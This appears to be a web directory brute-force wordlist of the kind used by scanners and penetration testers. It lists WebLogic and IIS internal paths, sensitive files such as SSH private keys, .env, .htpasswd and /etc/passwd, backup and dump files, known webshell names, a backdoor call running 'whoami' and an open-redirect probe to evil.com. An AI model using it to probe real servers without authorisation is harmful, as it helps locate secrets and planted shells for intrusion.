-jmx-console/HtmlAdaptor -status -web-console -web-console/ -web-console/AOPBinding.jsp -web-console/Invoker -web-console/ServerInfo.jsp -web-console/SysProperties.jsp -web-console/WebModule.jsp -web-console/applet.jsp -web-console/listMonitors.jsp -web-console/status -* -*.gif -*.gif/ -*.html -*.jsp -*.jsp/ -*.jws -*.portal -*.portion -*.portlet -*.shtml/ -Admin -AdminCaptureRootCA -AdminClients -AdminConnections -AdminEvents -AdminJDBC -AdminLicense -AdminMain -AdminProps -AdminRealm -AdminThreads -AdminVersion -BizTalkServer -Bootstrap -Certificate -Classpath/ -ConsoleHelp -ConsoleHelp/ -DefaultWebApp -DeploymentService -FileServlet -HTTPClntClose -HTTPClntClose/* -HTTPClntLogin -HTTPClntLogin/* -HTTPClntRecv -HTTPClntRecv/* -HTTPClntSend -HTTPClntSend/* -JspServlet -LogfileSearch -LogfileTail -Login.jsp -MANIFEST.MF -META-INF -Samples -SamplesSearchWebApp -Shutdown -Shutdown/* -SimpappServlet -SimpleClientJws -SimpleClientProviderImpl -StockServlet -T3AdminMain -UniversityServlet -WEB-INF -WEB-INF./web.xml -WEB-INF/web.xml -WLDummyInitJVMIDs -WebServiceServlet -_async -_async/* -_async/AsyncResponseService -_async/AsyncResponseServiceHttps -_async/AsyncResponseServiceJms -_async/AsyncResponseServiceSoap12 -_async/AsyncResponseServiceSoap12Https -_async/AsyncResponseServiceSoap12Jms -_tmp_war -_tmp_war_DefaultWebApp -a2e2gp2r2/* -a2e2gp2r2/x.jsp -accessor -actions -admin/login.do -applet -applications -appmanager/* -asyncServlet -asyncServlet/main.jsp -asyncServlet/receive -asyncServlet/send -authenticatedy -bea-guardian-agent -bea-guardian-agent/ -bea-guardian-agent/DeployServlet -bea-guardian-agent/test.jsp -bea-guardian-agent/version -bea_wls9_async_response -bea_wls_async_response -bea_wls_cluster_internal -bea_wls_cluster_internal/0056FABC093BDF49C8AE091F74400598 -bea_wls_cluster_internal/a2e2gp2r2/* -bea_wls_cluster_internal/psquare/* -bea_wls_deployment_internal -bea_wls_deployment_internal/* -bea_wls_deployment_internal/DeploymentService -bea_wls_diagnostics -bea_wls_diagnostics/* -bea_wls_diagnostics/accessor -bea_wls_internal -bea_wls_internal/ -bea_wls_internal/* -bea_wls_internal/HTTPClntClose -bea_wls_internal/HTTPClntClose/* -bea_wls_internal/HTTPClntLogin -bea_wls_internal/HTTPClntLogin/* -bea_wls_internal/HTTPClntRecv -bea_wls_internal/HTTPClntRecv/* -bea_wls_internal/HTTPClntSend -bea_wls_internal/HTTPClntSend/* -bea_wls_internal/WLDummyInitJVMIDs -bea_wls_internal/WebServiceServlet -bea_wls_internal/a2e2gp2r2/x.jsp -bea_wls_internal/classes/ -bea_wls_internal/classes/ -bea_wls_internal/classes/* -bea_wls_internal/classes/META-INF/MANIFEST.MF -bea_wls_internal/com/* -bea_wls_internal/getior -bea_wls_internal/getior/* -bea_wls_internal/iiop/ClientClose -bea_wls_internal/iiop/ClientClose/* -bea_wls_internal/iiop/ClientLogin -bea_wls_internal/iiop/ClientLogin/* -bea_wls_internal/iiop/ClientRecv -bea_wls_internal/iiop/ClientRecv/* -bea_wls_internal/iiop/ClientSend -bea_wls_internal/iiop/ClientSend/* -bea_wls_internal/psquare/x.jsp -bea_wls_management_internal2 -bea_wls_management_internal2/Bootstrap -bea_wls_management_internal2/wl_management -bea_wls_remote_deployer -beanManaged -certificate -classes -classes/ -classes/* -classes/META-INF/MANIFEST.MF -com -com.acumenat.uddi.server.http.UDDIListenerServlet -com.bea.guardian.agent.VersionServlet -com.bea.guardian.agent.weblogic.DeployServlet -com.bea.guardian.agent.weblogic.DispatchServlet -com/* -cometd/* -common -config -console -console-help -console-help/doc/* -console-help/doc/en-us/com/bea/wlserver/core/index.html -console-help/help/* -console-help/online_search/* -console/login/LoginForm.jsp -consoleapp -consolehelp -consolehelp/console-help.portal -consolehelp/index.jsp -cookies -default -docs -docs/SamplesSearchServlet/* -docs/core/index.html -docs/index.html -docs51 -domain -drp-exports -drp-publish -dummy -e2ePortalProject/Login.portal -ejb -ejb20BeanMged -ejb20BeanMgedEar -ejb20_beanManaged -ejb30 -ejbSimpappServlet -error -examplesWebApp -examplesWebApp/* -examplesWebApp/ConnectorServlet -examplesWebApp/EJBeanManagedClient.jsp -examplesWebApp/InteractiveQuery.jsp -examplesWebApp/OrderParser.jsp?xmlfile=C:/bea/weblogic81/samples/server/examples/src/examples/xml/orderParser/order.xml -examplesWebApp/SSLClientServlet -examplesWebApp/SenderServlet -examplesWebApp/SessionServlet -examplesWebApp/Shutdown -> 401 -examplesWebApp/SimpleSqlServlet -examplesWebApp/WebservicesEJB.jsp -examplesWebApp/Wsdl2Service.jsp -examplesWebApp/docs -> /docs -examplesWebApp/docs/ -examplesWebApp/domains -examplesWebApp/examples -examplesWebApp/examples/src/examples/copyright.html -examplesWebApp/images -examplesWebApp/index.jsp -examplesWebApp/medrec -examplesWebApp/server -ext_servlet_annotations -ext_servlet_annotations/loginForm.jsp -ext_servlet_annotations/session -fast_track.html -fault -file -file/ -fileRealm -fileRealm.properties -framework/skeletons/console/* -framework/skeletons/console/css/* -framework/skeletons/console/js/* -getior -getior/* -graphics -helloKona -helloWebApp -helloWebApp/hello.html -helloWebApp/hello.jsp -helloWorld -iiop/ClientClose -iiop/ClientClose/* -iiop/ClientLogin -iiop/ClientLogin/* -iiop/ClientRecv -iiop/ClientRecv/* -iiop/ClientSend -iiop/ClientSend/* -images -images/* -index -index.jsp -internal -jdbcRowSets -jdbcRowSetsEar -jdbc_rowsets -jmssender -jmstrader -jsp/* -jspSimpleTag -jspSimpleTagEar -jspbuild -jws_basic_simple -jws_basic_simple/SimpleService -jwsdir -login.jsp -mainWebApp -manifest.mf -mapping -mejb -mydomain -myservlet -org.apache.beehive.netui.pageflow.PageFlowActionServlet -org.apache.beehive.netui.pageflow.xmlhttprequest.XmlHttpRequestServlet -page -patient/login.do -patient/register.do -phone -physican/login.do -portalAppAdmin/login.jsp -properties -proxy -psquare/* -psquare/x.jsp -public_html -registerServlet -reviewService -reviewService/ClientServlet -reviewService/InterceptorClientServlet -reviewService/createArtist_service.jsp -reviewService/dwr/* -reviewService/index.jsp -saml2 -samlacs -samlars -samlits -samlits_ba -samlits_cc -servlet -servletimages -servlets/ -session -simpapp -simple -simpleFormServlet -snoop -stock -stock/* -stock/data/* -stock/index.html -stock/index.jsp -stock/publisher.html -stock/publisher.jsp -survey -system -taglib-uri -uddi -uddi/* -uddi/uddilistener -uddiexplorer -uddiexplorer/* -uddiexplorer/Login.jsp -uddiexplorer/index.jsp -uddilistener -user -utils -web -web.xml -webappCachingEar -weblogic -weblogic.cluster.GroupMessageHandlerServlet -weblogic.cluster.MulticastSessionDataRecoveryServlet -weblogic.cluster.StateDumpServlet -weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet -weblogic.jar -weblogic.management.servlet.BootstrapServlet -weblogic.management.servlet.FileDistributionServlet -weblogic.properties -weblogic.rjvm.InternalWebAppListener -weblogic.servlet.AsyncInitServlet -weblogic.servlet.FileServlet -weblogic.servlet.JSPClassServlet -weblogic.testclient.CallbackHandler -weblogic.wsee.async.AsyncResponseBean -weblogic.wsee.async.AsyncResponseBeanSoap12 -weblogic.xml -weblogic90 -webservice -webservicesJwsSimpleEar -webshare -wl_management -wl_management_internal -wl_management_internal1 -wl_management_internal1/LogfileSearch -wl_management_internal1/LogfileTail -wl_management_internal2 -wl_management_internal2/Admin -wl_management_internal2/Bootstrap -wl_management_internal2/FileDistribution -wl_management_internal2/wl_management -wliconsole -wls_utc -wls_utc/*.do -wls_utc/*.jpf -wls_utc/*.render -wls_utc/*.xhr -wls_utc/CallbackHandler -wls_utc/begin.do -wls_utc/error.jsp -wls_utc/index.html -wls_utc/index.jsp -wls_utc/messageLog.jsp -wls_utc/selectWsdl.jsp -wls_utc4 -wlserver -wlstestclient -wsee -xmlBean -xml_xmlBean -Micros~1 -WebSer~1 -_mem_bin -_private -_vti_adm -_vti_aut -_vti_bin -_vti_cnf -_vti_log -_vti_pvt -_vti_script -_vti_txt -administration -adsamples -archiv~1 -asp -aspnet_client -asps -bin -bins -cgi-bin -cmsample -common -common~1 -db -fpsample -help -iisadmin -iisadmpwd -iishelp -iissamples -images -inetpub -inetsrv -isapi -msadc -pbserver -printers -progra~1 -samples -scripts -scripts -scripts/samples -scripts/tools -sites -siteserver -system -system_web -web -webpub -winnt -wwwroot -x.cfm -x.htx -x.ida -x.idc -x.idq -x.pl -x.shtml -!.gitignore -!.htaccess -!.htpasswd -%3f/ -%ff/ -.7z -.access -.addressbook -.adm -.admin -.adminer.php.swp -.apdisk -.AppleDB -.AppleDesktop -.AppleDouble -.Backup -.bak -.bash_history -.bash_logout -.bash_profile -.bashrc -.bower-cachez -.bower-registry -.bower-tmp -.build/ -.buildpath -.buildpath/ -.builds -.bundle -.bz2 -.bzr/README -.c9/ -.c9revisions/ -.cache -.cache/ -.capistrano -.capistrano/metrics -.cc-ban.txt -.cc-ban.txt.bak -.cfg -.checkstyle -.classpath -.cobalt -.codeintel -.codekit-cache -.codio -.compile -.composer -.conf -.config -.config.php.swp -.configuration.php.swp -.contracts -.core -.coverage -.coveralls.yml -.cpan -.cpanel/ -.cproject -.cshrc -.CSV -.csv -.CVS -.cvs -.cvsignore -.dat -.deployignore -.dev/ -.directory -.dockerignore -.DS_Store -.dump -.eclipse -.editorconfig -.elasticbeanstalk/ -.elb -.elc -.emacs.desktop -.emacs.desktop.lock -.empty-folder -.env -.env-example -.env.php -.env.sample.php -.environment -.error_log -.esformatter -.eslintignore -.eslintrc -.espressostorage -.external/data -.externalToolBuilders/ -.FBCIndex -.fhp -.filemgr-tmp -.fishsrv.pl -.flac -.flowconfig -.fontconfig/ -.fontcustom-manifest.json -.forward -.ftp-access -.ftppass -.ftpquota -.gem -.git -.git-rewrite/ -.git/ -.git/config -.git/HEAD -.git/index -.git/logs/ -.git/logs/HEAD -.git/logs/refs -.git2/ -.git_release -.gitattributes -.gitconfig -.gitignore -.gitignore.swp -.gitignore_global -.gitignore~ -.gitk -.gitkeep -.gitmodules -.gitreview -.grunt/ -.gz -.hash -.hg -.hg/ -.hg/dirstate -.hg/requires -.hg/store/data/ -.hg/store/undo -.hg/undo.dirstate -.hgignore -.hgignore.global -.hgrc -.history -.ht_wsr.txt -.hta -.htaccess -.htaccess-dev -.htaccess-local -.htaccess-marco -.htaccess.BAK -.htaccess.bak -.htaccess.bak1 -.htaccess.old -.htaccess.orig -.htaccess.sample -.htaccess.save -.htaccess.txt -.htaccess_extra -.htaccess_orig -.htaccess_sc -.htaccessBAK -.htaccessOLD -.htaccessOLD2 -.htaccess~ -.htgroup -.htpasswd -.htpasswd-old -.htpasswd_test -.htpasswds -.htusers -.idea -.idea/ -.idea/.name -.idea/compiler.xml -.idea/copyright/profiles_settings.xml -.idea/dataSources.ids -.idea/dataSources.xml -.idea/deployment.xml -.idea/drush_stats.iml -.idea/encodings.xml -.idea/misc.xml -.idea/modules.xml -.idea/scopes/scope_settings.xml -.idea/Sites.iml -.idea/sqlDataSources.xml -.idea/tasks.xml -.idea/uiDesigner.xml -.idea/vcs.xml -.idea/woaWordpress.iml -.idea/workspace(2).xml -.idea/workspace(3).xml -.idea/workspace(4).xml -.idea/workspace(5).xml -.idea/workspace(6).xml -.idea/workspace(7).xml -.idea/workspace.xml -.idea0/ -.idea_modules/ -.ignore -.ignored/ -.ini -.inst/ -.install/composer.phar -.installed.cfg -.joe_state -.jrubyrc -.jscsrc -.jsfmtrc -.jshintignore -.jshintrc -.keep -.komodotools -.komodotools/ -.lesshst -.lighttpd.conf -.listing -.listings -.loadpath -.LOCAL -.local -.localeapp/ -.localsettings.php.swp -.lock-wscript -.log -.login -.login_conf -.LSOverride -.lynx_cookies -.magentointel-cache/ -.mail_aliases -.mailrc -.maintenance -.maintenance2 -.mc -.mc/ -.memdump -.mergesources.yml -.meta -.metadata -.metadata/ -.modgit/ -.modman -.modman/ -.modules -.mr.developer.cfg -.msi -.mweval_history -.mwsql_history -.mysql_history -.nbproject/ -.netrc -.netrwhist -.nodelete -.npmignore -.npmrc -.nsconfig -.old -.oldsnippets -.oldstatic -.org-id-locations -.ost -.passwd -.patches/ -.perf -.php-ini -.php-version -.php_history -.phperr.log -.phpintel -.phpstorm.meta.php -.phptidy-cache -.phpversion -.pki -.placeholder -.playground -.procmailrc -.profile -.project -.project.xml -.project/ -.projectOptions -.properties -.psql_history -.pst -.pydevproject -.python-eggs -.qqestore/ -.rar -.raw -.rbtp -.rdsTempFiles -.remote-sync.json -.revision -.rhosts -.robots.txt -.rsync_cache -.rsync_cache/ -.rtlcssrc -.rubocop.yml -.rubocop_todo.yml -.ruby-gemset -.ruby-version -.rvmrc -.s3backupstatus -.sass-cache/ -.scrutinizer.yml -.selected_editor -.sencha/ -.settings -.settings.php.swp -.settings/ -.settings/.jsdtscope -.settings/org.eclipse.core.resources.prefs -.settings/org.eclipse.php.core.prefs -.settings/org.eclipse.wst.common.project.facet.core.xml -.settings/org.eclipse.wst.jsdt.ui.superType.container -.settings/org.eclipse.wst.jsdt.ui.superType.name -.sh -.sh_history -.shrc -.simplecov -.sln -.smushit-status -.spamassassin -.sql -.sql.bz2 -.sql.gz -.sqlite_history -.ssh -.ssh.asp -.ssh.php -.ssh/authorized_keys -.ssh/id_rsa -.ssh/id_rsa.key -.ssh/id_rsa.key~ -.ssh/id_rsa.priv -.ssh/id_rsa.priv~ -.ssh/id_rsa.pub -.ssh/id_rsa.pub~ -.ssh/id_rsa~ -.ssh/know_hosts -.ssh/know_hosts~ -.ssh/known_host -.st_cache/ -.sublime-gulp.cache -.sublime-project -.sublime-workspace -.subversion -.sucuriquarantine/ -.sunw -.svn -.svn/ -.svn/entries -.svnignore -.sw -.swf -.swo -.swp -.SyncID -.SyncIgnore -.synthquota -.system/sitemap.xml -.tags -.tags_sorted_by_file -.tar -.tar.bz2 -.tar.gz -.temp -.tgitconfig -.thumbs -.tmp -.tmproj -.tox -.transients_purge.log -.Trash -.Trashes -.travis.yml -.tx/ -.user.ini -.vacation.cache -.vagrant -.version -.vgextensions/ -.viminfo -.vimrc -.web -.workspace/ -.wp-config.php.swp -.yardopts -.zeus.sock -.zfs/ -.zip -0.htpasswd -0.php -1.htaccess -1.htpasswd -1.php -1.tar -1.tar.bz2 -1.tar.gz -1.txt -1.zip -1/ -123.php -123.txt -1c/ -2.php -2.tar -2.tar.bz2 -2.tar.gz -2.txt -2.zip -3.php -4.php -5.php -6.php -7.php -8.php -9.php -_.htpasswd -__cache/ -__index.php -__ma/ -__MACOSX -__pma___/ -__SQL -__test.php -_adm -_admin -_common.xsl -_config.inc -_data/ -_data/error_log -_errors -_files -_include -_index.php -_install -_layouts -_log/ -_log/access-log -_log/access.log -_log/access_log -_log/error-log -_log/error.log -_log/error_log -_logs -_logs/ -_logs/access-log -_logs/access.log -_logs/access_log -_logs/error-log -_logs/error.log -_logs/error_log -_mmServerScripts/MMHTTPDB.asp -_mmServerScripts/MMHTTPDB.php -_notes/dwsync.xml -_novo/composer.lock -_old -_pages -_phpmyadmin/ -_PHPMYADMIN/ -_pHpMyAdMiN/ -_phpMyAdmin/ -_private -_source -_SQL -_sqladm -_src -_test -_vti_inf.html -_vti_pvt/service.cnf -_WEB_INF/ -_www -abton/spaw2/dialogs/dialog.php -acceptance_config.yml -access-log -access.log -access.phtml -access_log -accesslog -accesslogs -account.php -account.sql -accounts -accounts.sql -accounts.txt -add.php -adduser -adm -adm.php -adm/ -adm/spaw2/dialogs/dialog.php -adm/upload.php -admin%20/ -admin-console -admin-console/ -admin-serv/ -admin-serv/config/admpw -admin.dat -admin.htm -admin.html -admin.mdb -admin.php -Admin/ -admin/ -admin/.config -admin/.htaccess -admin/_dump/ -admin/access.log -admin/access.txt -admin/access_log -admin/adminer.php -admin/backup/ -admin/backups/ -admin/bootstrap.inc.php?mgp=danc3Uf@t&c=whoami -admin/db/ -admin/download.php -admin/dumper/ -admin/editor/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/error.log -admin/error.txt -admin/error_log -admin/export.php -admin/FCKeditor -admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -admin/fckeditor/editor/filemanager/connectors/asp/connector.asp -admin/fckeditor/editor/filemanager/connectors/asp/upload.asp -admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx -admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx -admin/fckeditor/editor/filemanager/connectors/php/connector.php -admin/fckeditor/editor/filemanager/connectors/php/upload.php -admin/fckeditor/editor/filemanager/upload/asp/upload.asp -admin/fckeditor/editor/filemanager/upload/aspx/upload.aspx -admin/fckeditor/editor/filemanager/upload/php/upload.php -admin/include/spaw2/dialogs/dialog.php -admin/includes/configure.php~ -admin/js/tiny_mce/ -admin/js/tinymce/ -admin/lib/spaw2/dialogs/dialog.php -admin/log -admin/logs/ -admin/logs/login.txt -admin/phpMyAdmin/ -admin/phpmyadmin/ -Admin/phpMyAdmin/ -Admin/phpmyadmin/ -admin/phpmyadmin/scripts/setup.php -admin/pma/ -admin/pma/scripts/setup.php -admin/pol_log.txt -admin/private/logs -admin/scripts/setup.php -admin/spaw/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2lite&type=imagesundefined -admin/sxd/ -admin/test/ -admin/upload.php -admin/uploadarticles/uploadTester.asp -admin/user_count.txt -admin0 -admin1 -admin1.php -admin1/ -admin2.asp -admin2.old/ -admin2.php -admin2/ -admin_ -admin_files -admin_login -admin_logon -adminconsole -admincontrol.php -admincp/ -admincp/js/kindeditor/ -admincp/upload/ -adminer-4.0.3-mysql.php -adminer-4.0.3.php -adminer-4.1.0-mysql.php -adminer-4.1.0.php -adminer-4.2.0-mysql.php -adminer-4.2.0.php -adminer.php -adminer/ -adminer/adminer.php -administracao.php -administracion.php -administrateur.php -administration.php -administration/ -administration/Sym.php -administrative/ -administrative/login_history -administrator.php -administrator/ -administrator/.htaccess -administrator/components/com_joommyadmin/phpmyadmin/ -administrator/logs -administrators.pwd -adminpanel.html -adminpanel.php -adminpanel/ -admins.asp -admins.php -admins/ -admins/backup/ -admins/log.txt -admpar/.ftppass -admrev/.ftppass -admrev/_files/ -adsystem -affiliates.sql -ajax/app/yahoo/yahoo.htm -alfa/ -all.sql -amad.php -amministratore.php -answers/error_log -apache-default/phpmyadmin/ -apache/logs/access.log -apache/logs/access_log -apache/logs/error.log -apache/logs/error_log -apc-nrp.php -apc.php -apc/apc.php -apc/index.php -api/ -api/error_log -apibuild.pyc -app.config -app.js -app.json -app/.htaccess -app/bin -app/composer.json -app/composer.lock -app/config/adminConf.json -app/config/database.yml -app/config/database.yml.pgsql -app/config/database.yml.sqlite3 -app/config/database.yml_original -app/config/database.yml~ -app/config/databases.yml -app/config/global.json -app/config/parameters.ini -app/config/parameters.yml -app/config/routes.cfg -app/config/schema.yml -app/dev -app/docs -app/etc/config.xml -app/etc/enterprise.xml -app/etc/fpc.xml -app/etc/local.additional -app/etc/local.xml -app/etc/local.xml.additional -app/etc/local.xml.bak -app/etc/local.xml.live -app/etc/local.xml.localRemote -app/etc/local.xml.phpunit -app/etc/local.xml.template -app/etc/local.xml.vmachine -app/etc/local.xml.vmachine.rm -app/languages -app/log/ -app/logs/ -app/phpunit.xml -app/src -app/sys -app/testing -app/unschedule.bat -app/vendor -app/vendor-src -app_dev.php -appcache.manifest -application.log -application/cache/ -application/logs/ -apps/frontend/config/app.yml -apps/frontend/config/databases.yml -asp.aspx -aspnet_webadmin -aspwpadmin -aspxspy.aspx -assets/fckeditor -assets/js/fckeditor -assets/npm-debug.log -asterisk.log -atlassian-ide-plugin.xml -auth.inc -auth.php -auth_user_file.txt -authorization.config -authorized_keys -autobackup.php -awstats -awstats.pl -awstats/ -azureadmin/ -b2badmin/ -back.sql -backdoor.php -backdoor/ -backup -backup.7z -backup.htpasswd -backup.inc -backup.inc.old -backup.old -backup.rar -backup.sql -backup.sql.old -backup.tar -backup.tar.bz2 -backup.tar.gz -backup.tgz -backup.zip -backup/ -Backup/ -backup0/ -backup1/ -backup123/ -backup2/ -backup2010.sql -backup2011.sql -backup2012.sql -backup2013.sql -backup2014.sql -backup2015.sql -backup2016.sql -backups -backups.7z -backups.inc -backups.inc.old -backups.old -backups.rar -backups.sql -backups.sql.old -backups.tar -backups.tar.bz2 -backups.tar.gz -backups.tgz -backups.zip -backups/ -Backups/ -base/ -bb-admin/ -bd.sql -beta/ -bigdump.php -billing -billing/killer.php -bin/config.sh -bin/reset-db-prod.sh -bin/reset-db.sh -BingSiteAuth.xml -bitrix/admin/i.php -bitrix/admin/index.php -bitrix/admin/info.php -bitrix/admin/p.php -bitrix/admin/php.php -bitrix/admin/phpinfo.php -bitrix/authorization.config -bitrix/backup/ -bitrix/dumper/ -bitrix/error.log -bitrix/import/ -bitrix/import/files -bitrix/import/import -bitrix/import/m_import -bitrix/logs/ -bitrix/modules/error.log -bitrix/modules/error.log.old -bitrix/modules/main/admin/restore.php -bitrix/modules/main/classes/mysql/agent.php -bitrix/modules/smtpd.log -bitrix/modules/updater.log -bitrix/modules/updater_partner.log -bitrix/otp/ -bitrix/php_interface/dbconn.1 -bitrix/php_interface/dbconn.2 -bitrix/php_interface/dbconn.bak -bitrix/php_interface/dbconn.dist -bitrix/php_interface/dbconn.old -bitrix/php_interface/dbconn.php.bak -bitrix/php_interface/dbconn.php.dist -bitrix/php_interface/dbconn.php.old -bitrix/php_interface/dbconn.php.save -bitrix/php_interface/dbconn.php.swp -bitrix/php_interface/dbconn.php.templ -bitrix/php_interface/dbconn.php.txt -bitrix/php_interface/dbconn.php2 -bitrix/php_interface/dbconn.save -bitrix/php_interface/dbconn.swp -bitrix/php_interface/dbconn.txt -bitrix/rk.php?goto=http://evil.com -bitrix/web.config -biy/upload/ -Black.php -blacklist.dat -blog/error_log -blog/phpmyadmin/ -blog/wp-content/backup-db/ -blog/wp-content/backups/ -bot.txt -buck.sql -build.gradle -build.local.xml -build.sh -build.xml -build/build.properties -build/buildinfo.properties -build_config_private.ini -c-h.v2.php -c100.php -c22.php -c99.php -c99shell.php -cache/ -cache/sql_error_latest.cgi -Capfile -cc-errors.txt -cc-log.txt -ccbill.log -cell.xml -cfajax/app/yahoo/yahoo.htm -cgi-bin/awstats.pl -cgi.pl/ -Cgishell.pl -change.log -changeall.php -ChangeLog -CHANGELOG -CHANGELOG.txt -ChangeLog.txt -Changelog.txt -changelog.txt -CHANGES.html -changes.txt -checked_accounts.txt -chubb.xml -cidr.txtа -citrix/ -Citrix/PNAgent/config.xml -citydesk.xml -ckeditor -ckeditor/ -ckeditor/ckfinder/ckfinder.html -ckeditor/ckfinder/core/connector/asp/connector.asp -ckeditor/ckfinder/core/connector/aspx/connector.aspx -ckeditor/ckfinder/core/connector/php/connector.php -ckfinder/ckfinder.html -classes/adodb/server.php -classes/cookie.txt -cleanup.log -ClientAccessPolicy.xml -cliente/downloads/h4xor.php -clients.mdb -clients.sql -clients.sqlite -clients.zip -cmdasp.asp -cms-admin -cms.csproj -cms/ -cms/cms.csproj -cms/spaw2/dialogs/dialog.php -cms/Web.config -code/ -codeception.yml -common.inc -common.xml -common/config/api.ini -common/config/db.ini -composer.json -composer.lock -composer.phar -composer/installed.json -conf/ -conf/server.xml -config.bak -config.bat -config.codekit -config.core -config.dat -config.dist -config.inc -config.inc.bak -config.inc.old -config.inc.php -config.inc.php-eb -config.inc.php.bak -config.inc.php.dist -config.inc.php.inc -config.inc.php.inc~ -config.inc.php.old -config.inc.php.save -config.inc.php.swp -config.inc.php.templ -config.inc.php.txt -config.inc.php~ -config.inc.txt -config.inc~ -config.ini -config.ini.bak -config.ini.old -config.ini.txt -config.json -config.json.cfm -config.local -config.old -config.php -config.php-eb -config.php.bak -config.php.dist -config.php.inc -config.php.inc~ -config.php.old -config.php.save -config.php.swp -config.php.templ -config.php.txt -config.php~ -config.rb -config.save -config.swp -config.txt -config.xml -config.yml -config.yml.templ -Config/ -config/ -config/apc.php -config/app.yml -config/AppData.config -config/application.ini -config/aws.yml -config/banned_words.txt -config/config.ini -config/database.yml -config/database.yml.pgsql -config/database.yml.sqlite3 -config/database.yml_original -config/database.yml~ -config/databases.yml -config/dbconfig.ini -config/monkcheckout.ini -config/monkdonate.ini -config/monkid.ini -config/producao.ini -config/routes.yml -config/settings.inc -config/settings.ini -config/settings.ini.cfm -config/settings.local.yml -config/settings/production.yml -configs/conf_bdd.ini -configs/conf_zepass.ini -configuration.ini -configuration.php -configuration.php.bak -configuration.php.dist -configuration.php.old -configuration.php.save -configuration.php.swp -configuration.php.templ -configuration.php.txt -configuration.php~ -configuration/ -confluence/ -connect.inc -console/ -console/base/config.json -console/payments/config.json -content/debug.log -CONTRIBUTING.md -contributing.md -contributors.txt -controlpanel.php -COPYING -core/docs/changelog.txt -coverage.data -coverage.xml -cp.php -cp/ -cpanel -cpanel.php -Cpanel.php -cpanel/ -cpanelphpmyadmin/ -cpbackup-exclude.conf -cpbt.php -cpn.php -cpphpmyadmin/ -crash.php -CREDITS -crm/ -cron.log -cron.php -cron.sh -cron/cron.sh -crond/logs/ -cronlog.txt -culeadora.txt -custom/db.ini -customers.csv -customers.log -customers.mdb -customers.sql -customers.sql.gz -customers.sqlite -customers.txt -customers.xls -CVS/ -cvs/ -CVS/Root -d.php -d0main.php -d0maine.php -d0mains.php -dam.php -data-nseries.tsv -data.mdb -data.sql -data.sqlite -data.tsv -data.txt -data/backups/ -data/debug/ -data/files/ -data/logs/ -data/tmp/ -dataBackup/ -database -database.csv -database.inc -database.log -database.mdb -database.php -database.sql -database.sqlite -database.txt -database.yml -database.yml.pgsql -database.yml.sqlite3 -database.yml_original -database.yml~ -database/ -database_admin -Database_Backup/ -database_credentials.inc -databases.yml -dataobject.ini -davmail.log -DB -db -db-admin -db-full.mysql -db.csv -db.inc -db.ini -db.log -db.mdb -db.properties -db.sql -db.sqlite -db/ -db/main.mdb -db1.mdb -db1.sqlite -db2 -db_admin -db_backups/ -dbaccess.log -dbadmin.php -dbadmin/ -dbase -dbbackup/ -dbfix/ -dead.letter -debug -debug-output.txt -debug.inc -debug.log -debug.php -debug.txt -debug/ -debug_error.jsp -default.php -delete.php -demo.php -demo/ejb/index.html -demo/sql/index.jsp -deploy -deploy.rb -Descript.ion -Desktop.ini -desktop/index_framed.htm -dev.php -dev/ -development-parts/ -development.esproj/ -development/ -df_main.sql -dir.php -dist/ -docker-compose.yml -Dockerfile -doctrine/schema/eirec.yml -doctrine/schema/tmx.yml -documentation/config.yml -dom.php -download.php -download/history.csv -download/users.csv -downloader/cache.cfg -downloader/connect.cfg -downloads/dom.php -dra.php -dummy -dummy.php -dump -dump.7z -dump.inc -dump.inc.old -dump.log -dump.old -dump.rar -dump.rdb -dump.sql -Dump.sql -dump.sql.old -dump.sqlite -dump.tar -dump.tar.bz2 -dump.tar.gz -dump.tgz -dump.zip -dump/ -dump_file.sql -dumper.php -dumper/ -dumps/ -dumpuser.aspx -dz.php -dz0.php -dz1.php -ecosystem.json -edit.php -edit/spaw2/dialogs/dialog.php -editor.php -editor/FCKeditor -editor/stats/ -editor/tiny_mce/ -editor/tinymce/ -editors/FCKeditor -ehthumbs.db -elfinder/elfinder.php -elim/blist.xml -emul.js -engine/classes/swfupload/swfupload.swf -engine/classes/swfupload/swfupload_f9.swf -engine/libs/spaw/dialogs/dialog.php -environment.rb -err -error -error-log -error-log.txt -error.html -error.log -error.log.0 -error.txt -error/ -error_log -error_log.gz -error_log.txt -errorlog -errors.log -errors.txt -errors/ -errors/creation -errors/local.xml -etc/config.ini -etc/database.xml -etc/hosts -etc/passwd -eudora.ini -eula.txt -eula_en.txt -example.php -examples/ -exp/ -export -export/ -export_log.old.txt -export_log.txt -export_stock_log.txt -FAQ -FCKeditor -fckeditor -FCKeditor/ -fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -fckeditor/editor/filemanager/connectors/asp/connector.asp -fckeditor/editor/filemanager/connectors/asp/upload.asp -fckeditor/editor/filemanager/connectors/aspx/connector.aspx -fckeditor/editor/filemanager/connectors/aspx/upload.aspx -fckeditor/editor/filemanager/connectors/php/connector.php -fckeditor/editor/filemanager/connectors/php/upload.php -fckeditor/editor/filemanager/upload/asp/upload.asp -fckeditor/editor/filemanager/upload/aspx/upload.aspx -fckeditor/editor/filemanager/upload/php/upload.php -FCKeditor2.0/ -FCKeditor2.1/ -FCKeditor2.2/ -FCKeditor2.3/ -FCKeditor2.4/ -FCKeditor2/ -FCKeditor20/ -FCKeditor21/ -FCKeditor22/ -FCKeditor23/ -FCKeditor24/ -ffftp.ini -file.php -file.sql -file_manager/ -file_upload.asp -file_upload.aspx -file_upload.cfm -file_upload.htm -file_upload.html -file_upload.php -file_upload.php3 -file_upload.shtm -file_upload/ -fileadmin -fileadmin.php -fileadmin/ -filedump/ -filemanager -filemanager/ -files.md5 -files/ -fileupload/ -flashFXP.ini -forum.rar -forum.sql -forum.tar -forum.tar.gz -forum.zip -forum/install/install.php -forum/phpmyadmin/ -forums/cache/db_update.lock -fpadmin -ftp.txt -ganglia/ -gaza.php -Gemfile -Gemfile.lock -get.php -git-service -gitlog -global -global.asa.bak -global.asa.old -global.asa.orig -global.asa.temp -global.asa.tmp -Global.asax 